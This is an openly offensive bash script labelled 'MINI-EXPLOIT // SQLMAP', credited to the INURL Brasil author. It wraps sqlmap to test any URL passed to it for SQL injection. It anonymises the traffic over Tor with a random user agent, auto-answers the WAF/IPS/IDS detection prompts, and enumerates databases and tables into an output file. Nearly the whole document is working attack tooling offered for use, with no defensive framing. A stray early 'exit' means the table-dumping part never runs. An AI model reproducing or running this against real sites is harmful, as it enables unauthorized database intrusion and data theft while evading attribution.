MINI-EXPLOIT // SQLMAP

minisqlmap.sh

#!/bin/bash


: '
 MINI-EXPLOIT // SQLMAP ~ 
 ------------------------------------------------------
 [+] AUTOR:        Cleiton Pinheiro / Nick: googleINURL
 [+] EMAIL:        inurlbr@gmail.com
 [+] Blog:         http://blog.inurl.com.br
 [+] Twitter:      https://twitter.com/googleinurl
 [+] Fanpage:      https://fb.com/InurlBrasil
 [+] Pastebin      http://pastebin.com/u/Googleinurl
 [+] GIT:          https://github.com/googleinurl
 [+] PSS:          http://packetstormsecurity.com/user/googleinurl
 [+] EXA:          http://exploit4arab.net/author/248/Cleiton_Pinheiro
 [+] YOUTUBE:      http://youtube.com/c/INURLBrasil
 [+] PLUS:         http://google.com/+INURLBrasil
'
l_="---------------------------------------------"
echo "[+] MINI-EXPLOIT // (SQLMAP) - INURL BRASIL"
echo $l_
echo "[!] start process"
echo $l_
SQLMAP=("python sqlmap.py -u $1 --random-agent --hex --tor --tor-type=SOCKS5  --threads 10 --answers='follow=N,union-char=Y,time-sec=20,level=3,risk=2,dbms=MySQL,testing=Y,WAF/IPS/IDS=Y,check=Y' ")

EXEC=("$SQLMAP --dbs")
echo $EXEC
$EXEC
exit
DB=$($EXEC | grep '[*]' | grep -v 'shutting' | grep -v 'starting' | grep -v 'schema' | awk '{x=2; print $x}')  

if (echo $DB | egrep '[A-Za-z0-9_.]' &> /dev/null); then
   echo "[+] Database names:"
   echo "$DB" 
   echo $l_    

   EXEC2="$SQLMAP -D $DB --tables"
echo $EXEC2
   TABLES=$($EXEC2 | grep '| ' | grep -v 'shutting' | grep -v 'starting'  | grep -v 'Payload' | grep -v '__' | grep -v '|_'  | grep -v '-' | awk '{x=2; print $x}')    
   
   echo "[+] Tables names:"
   echo "$TABLES"
   echo $l_
   echo "[+] File output: output.txt"
   echo "URL:::$1 \n DB:::$DB \n" >> "output.txt"

else
   echo "[x] No vulnerability"	 
   echo "[x] exit process"
   exit
fi